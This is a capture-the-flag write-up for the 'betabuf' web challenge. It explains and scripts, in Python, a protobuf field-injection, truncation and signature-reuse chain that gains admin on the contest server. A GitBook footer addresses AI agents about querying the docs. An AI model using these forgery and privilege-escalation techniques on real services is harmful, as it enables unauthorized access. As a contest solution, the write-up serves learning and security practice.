> For the complete documentation index, see [llms.txt](https://kos0ng.gitbook.io/ctfs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kos0ng.gitbook.io/ctfs/write-up/2025/k17-ctf/web-exploitation.md).

# Web Exploitation

<table><thead><tr><th width="347">Challenge</th><th>Topic</th></tr></thead><tbody><tr><td><a href="#betabuf-435-pts">betabuf (435 pts)</a></td><td>protobuf</td></tr></tbody></table>

## betabuf (435 pts)

### Description

We regret telling the intern about Protocol Buffers. Hopefully they'll clean things up before we leave closed beta.

Clarification: The --trusted-proxy args are not intended to be a part of the challenge. They are there because the remote sits behind a proxy. You can ignore them.

### Solution

Following is the idea of exploitation

* Craft payload to make is\_verified in account True
* Craft is\_admin True by utilizing vulnerability in 1024 bytes truncation in rename function
* Because SecureConnectionDetails and HighScore has same structure (int/boolean, string), we can use HighScore signature as SecureConnectionDetails signature

```python
import argparse
import json
import time
import requests
import game_pb2


def build_account_details(username, country):
    details = game_pb2.AccountDetails()
    details.username = username
    details.country = country
    payload = bytearray(details.SerializeToString())
    payload.extend([0x40, 0x01])
    return payload.hex()


def build_registration_invite(expires_in = 3600):
    now = int(time.time())
    invite = game_pb2.RegistrationInvite()
    invite.invite_id = 1
    invite.invited_by = "test invite"
    invite.invitation_message = "test message"
    invite.created_at = now
    invite.expires_at = now + expires_in
    return invite.SerializeToString().hex()


def register(base_url, username):
    data = {
        "account_details": build_account_details(username, "US"),
        "registration_invite": build_registration_invite(),
    }
    r = requests.post(f"{base_url}/register", json=data)
    r.raise_for_status()
    j = r.json()
    return j["token"], j["signature"]


def rename(base_url, token, signature):
    payload = {
        "old_user_token": token,
        "old_user_token_sig": signature,
        "new_username": "A" * 15 + "\u0018\u0018 \u0018",
    }
    r = requests.post(f"{base_url}/rename", json=payload)
    r.raise_for_status()
    j = r.json()
    return j["token"], j["signature"]


def submit_score(base_url, token, signature):
    payload = {
        "score": 1,
        "account_token": token,
        "account_token_sig": signature,
    }
    r = requests.post(f"{base_url}/submit_score", json=payload)
    r.raise_for_status()
    j = r.json()
    return j["score"], j["signature"]


def get_flag(base_url, admin_token, admin_sig, scd, scd_sig):
    payload = {
        "account_token": admin_token,
        "account_token_sig": admin_sig,
        "secure_connection_details": scd,
        "secure_connection_details_sig": scd_sig,
    }
    r = requests.post(f"{base_url}/admin", json=payload)
    r.raise_for_status()
    j = r.json()
    if "flag" not in j:
        raise RuntimeError(f"Err: {json.dumps(j)}")
    return j["flag"]


def main():
    url = "https://betabuf.secso.cc"
    username = "kosong"
    username += "A" * (1000 - len(username))
    token, sig = register(url, username)
    admin_token, admin_sig = rename(url, token, sig)
    scd, scd_sig = submit_score(url, admin_token, admin_sig)
    flag = get_flag(url, admin_token, admin_sig, scd, scd_sig)
    print(flag)


if __name__ == "__main__":
    main()
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://kos0ng.gitbook.io/ctfs/write-up/2025/k17-ctf/web-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
